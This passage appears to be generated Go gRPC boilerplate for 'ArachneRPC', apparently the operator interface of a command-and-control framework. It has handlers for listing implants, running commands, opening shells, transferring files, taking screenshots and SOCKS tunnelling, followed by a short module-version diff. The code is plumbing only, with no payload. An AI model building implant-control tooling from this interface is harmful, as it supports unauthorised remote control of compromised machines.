}
func (UnimplementedArachneRPCServer) Ps(context.Context, *arachnepb.PsReq) (*arachnepb.Ps, error) {
return nil, status.Errorf(codes.Unimplemented, "method Ps not implemented")
}
func (UnimplementedArachneRPCServer) Execute(context.Context, *arachnepb.ExecuteReq) (*arachnepb.Execute, error) {
return nil, status.Errorf(codes.Unimplemented, "method Execute not implemented")
}
func (UnimplementedArachneRPCServer) Ls(context.Context, *arachnepb.LsReq) (*arachnepb.Ls, error) {
return nil, status.Errorf(codes.Unimplemented, "method Ls not implemented")
}
func (UnimplementedArachneRPCServer) Pwd(context.Context, *arachnepb.PwdReq) (*arachnepb.Pwd, error) {
return nil, status.Errorf(codes.Unimplemented, "method Pwd not implemented")
}
func (UnimplementedArachneRPCServer) Download(context.Context, *arachnepb.DownloadReq) (*arachnepb.Download, error) {
return nil, status.Errorf(codes.Unimplemented, "method Download not implemented")
}
func (UnimplementedArachneRPCServer) Upload(context.Context, *arachnepb.UploadReq) (*arachnepb.Upload, error) {
return nil, status.Errorf(codes.Unimplemented, "method Upload not implemented")
}
func (UnimplementedArachneRPCServer) Screenshot(context.Context, *arachnepb.ScreenshotReq) (*arachnepb.Screenshot, error) {
return nil, status.Errorf(codes.Unimplemented, "method Screenshot not implemented")
}
func (UnimplementedArachneRPCServer) Shell(context.Context, *arachnepb.ShellReq) (*arachnepb.Shell, error) {
return nil, status.Errorf(codes.Unimplemented, "method Shell not implemented")
}
func (UnimplementedArachneRPCServer) TunnelData(ArachneRPC_TunnelDataServer) error {
return status.Errorf(codes.Unimplemented, "method TunnelData not implemented")
}
func (UnimplementedArachneRPCServer) CreateSocks(context.Context, *arachnepb.Socks) (*arachnepb.Socks, error) {
return nil, status.Errorf(codes.Unimplemented, "method CreateSocks not implemented")
}
func (UnimplementedArachneRPCServer) SocksProxy(ArachneRPC_SocksProxyServer) error {
return status.Errorf(codes.Unimplemented, "method SocksProxy not implemented")
}
func (UnimplementedArachneRPCServer) mustEmbedUnimplementedArachneRPCServer() {}
// UnsafeArachneRPCServer may be embedded to opt out of forward compatibility for this service.
// Use of this interface is not recommended, as added methods to ArachneRPCServer will
// result in compilation errors.
type UnsafeArachneRPCServer interface {
mustEmbedUnimplementedArachneRPCServer()
}
func RegisterArachneRPCServer(s grpc.ServiceRegistrar, srv ArachneRPCServer) {
s.RegisterService(&ArachneRPC_ServiceDesc, srv)
}
func _ArachneRPC_GetVersion_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(commonpb.Empty)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(ArachneRPCServer).GetVersion(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: ArachneRPC_GetVersion_FullMethodName,
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(ArachneRPCServer).GetVersion(ctx, req.(*commonpb.Empty))
}
return interceptor(ctx, in, info, handler)
}
func _ArachneRPC_GetImplants_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(commonpb.Empty)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(ArachneRPCServer).GetImplants(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: ArachneRPC_GetImplants_FullMethodName,
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(ArachneRPCServer).GetImplants(ctx, req.(*commonpb.Empty))
}
return interceptor(ctx, in, info, handler)
}
func _ArachneRPC_Kill_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(arachnepb.KillReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(ArachneRPCServer).Kill(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: ArachneRPC_Kill_FullMethodName,
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(ArachneRPCServer).Kill(ctx, req.(*arachnepb.KillReq))
}
return interceptor(ctx, in, info, handler)
}
func _ArachneRPC_Ps_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(arachnepb.PsReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(ArachneRPCServer).Ps(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: ArachneRPC_Ps_FullMethodName,
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(ArachneRPCServer).Ps(ctx, req.(*arachnepb.PsReq))
}
return interceptor(ctx, in, info, handler)
}
func _ArachneRPC_Execute_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(arachnepb.ExecuteReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(ArachneRPCServer).Execute(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: ArachneRPC_Execute_FullMethodName,
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(ArachneRPCServer).Execute(ctx, req.(*arachnepb.ExecuteReq))
}
return interceptor(ctx, in, info, handler)
}
func _ArachneRPC_Ls_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(arachnepb.LsReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(ArachneRPCServer).Ls(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: ArachneRPC_Ls_FullMethodName,
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(ArachneRPCServer).Ls(ctx, req.(*arachnepb.LsReq))
}
return interceptor(ctx, in, info, handler)
}
func _ArachneRPC_Pwd_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(arachnepb.PwdReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(ArachneRPCServer).Pwd(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: ArachneRPC_Pwd_FullMethodName,
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(ArachneRPCServer).Pwd(ctx, req.(*arachnepb.PwdReq))
}
return interceptor(ctx, in, info, handler)
}
func _ArachneRPC_Download_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(arachnepb.DownloadReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(ArachneRPCServer).Download(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: ArachneRPC_Download_FullMethodName,
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(ArachneRPCServer).Download(ctx, req.(*arachnepb.DownloadReq))
}
return interceptor(ctx, in, info, handler)
}
func _ArachneRPC_Upload_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(arachnepb.UploadReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(ArachneRPCServer).Upload(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: ArachneRPC_Upload_FullMethodName,
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(ArachneRPCServer).Upload(ctx, req.(*arachnepb.UploadReq))
}
return interceptor(ctx, in, info, handler)
}
func _ArachneRPC_Screenshot_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(arachnepb.ScreenshotReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(ArachneRPCServer).Screenshot(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: ArachneRPC_Screenshot_FullMethodName,
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(ArachneRPCServer).Screenshot(ctx, req.(*arachnepb.ScreenshotReq))
}
return interceptor(ctx, in, info, handler)
}
func _ArachneRPC_Shell_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(arachnepb.ShellReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(ArachneRPCServer).Shell(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: ArachneRPC_Shell_FullMethodName,
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(ArachneRPCServer).Shell(ctx, req.(*arachnepb.ShellReq))
}
return interceptor(ctx, in, info, handler)
}
func _ArachneRPC_TunnelData_Handler(srv interface{}, stream grpc.ServerStream) error {
return srv.(ArachneRPCServer).TunnelData(&arachneRPCTunnelDataServer{stream})
}
type ArachneRPC_TunnelDataServer interface {
Send(*arachnepb.TunnelData) error
Recv() (*arachnepb.TunnelData, error)
grpc.ServerStream
}
type arachneRPCTunnelDataServer struct {
grpc.ServerStream
}
func (x *arachneRPCTunnelDataServer) Send(m *arachnepb.TunnelData) error {
return x.ServerStream.SendMsg(m)
}
func (x *arachneRPCTunnelDataServer) Recv() (*arachnepb.TunnelData, error) {
m := new(arachnepb.TunnelData)
if err := x.ServerStream.RecvMsg(m); err != nil {
return nil, err
}
return m, nil
}
func _ArachneRPC_CreateSocks_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(arachnepb.Socks)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(ArachneRPCServer).CreateSocks(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: ArachneRPC_CreateSocks_FullMethodName,
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(ArachneRPCServer).CreateSocks(ctx, req.(*arachnepb.Socks))
}
return interceptor(ctx, in, info, handler)
}
func _ArachneRPC_SocksProxy_Handler(srv interface{}, stream grpc.ServerStream) error {
return srv.(ArachneRPCServer).SocksProxy(&arachneRPCSocksProxyServer{stream})
}
type ArachneRPC_SocksProxyServer interface {
Send(*arachnepb.SocksData) error
Recv() (*arachnepb.SocksData, error)
grpc.ServerStream
}
type arachneRPCSocksProxyServer struct {
grpc.ServerStream
}
func (x *arachneRPCSocksProxyServer) Send(m *arachnepb.SocksData) error {
return x.ServerStream.SendMsg(m)
}
func (x *arachneRPCSocksProxyServer) Recv() (*arachnepb.SocksData, error) {
m := new(arachnepb.SocksData)
if err := x.ServerStream.RecvMsg(m); err != nil {
return nil, err
}
return m, nil
}
// ArachneRPC_ServiceDesc is the grpc.ServiceDesc for ArachneRPC service.
// It's only intended for direct use with grpc.RegisterService,
// and not to be introspected or modified (even as a copy)
var ArachneRPC_ServiceDesc = grpc.ServiceDesc{
ServiceName: "rpcpb.ArachneRPC",
HandlerType: (*ArachneRPCServer)(nil),
Methods: []grpc.MethodDesc{
{
MethodName: "GetVersion",
Handler: _ArachneRPC_GetVersion_Handler,
},
{
MethodName: "GetImplants",
Handler: _ArachneRPC_GetImplants_Handler,
},
{
MethodName: "Kill",
Handler: _ArachneRPC_Kill_Handler,
},
{
MethodName: "Ps",
Handler: _ArachneRPC_Ps_Handler,
},
{
MethodName: "Execute",
Handler: _ArachneRPC_Execute_Handler,
},
{
MethodName: "Ls",
Handler: _ArachneRPC_Ls_Handler,
},
{
MethodName: "Pwd",
Handler: _ArachneRPC_Pwd_Handler,
},
{
MethodName: "Download",
Handler: _ArachneRPC_Download_Handler,
},
{
MethodName: "Upload",
Handler: _ArachneRPC_Upload_Handler,
},
{
MethodName: "Screenshot",
Handler: _ArachneRPC_Screenshot_Handler,
},
{
MethodName: "Shell",
Handler: _ArachneRPC_Shell_Handler,
},
{
MethodName: "CreateSocks",
Handler: _ArachneRPC_CreateSocks_Handler,
},
},
Streams: []grpc.StreamDesc{
{
StreamName: "TunnelData",
Handler: _ArachneRPC_TunnelData_Handler,
ServerStreams: true,
ClientStreams: true,
},
{
StreamName: "SocksProxy",
Handler: _ArachneRPC_SocksProxy_Handler,
ServerStreams: true,
ClientStreams: true,
},
},
Metadata: "rpcpb/rpc.proto",
}
+5
View File
@@ -0,0 +1,5 @@
github.com/libp2p/go-libp2p v0.36.5
github.com/libp2p/go-libp2p-pubsub v0.12.0
github.com/multiformats/go-multiaddr v0.13.0
google.golang.org/protobuf v1.34.2
google.golang.org/grpc v1.67.0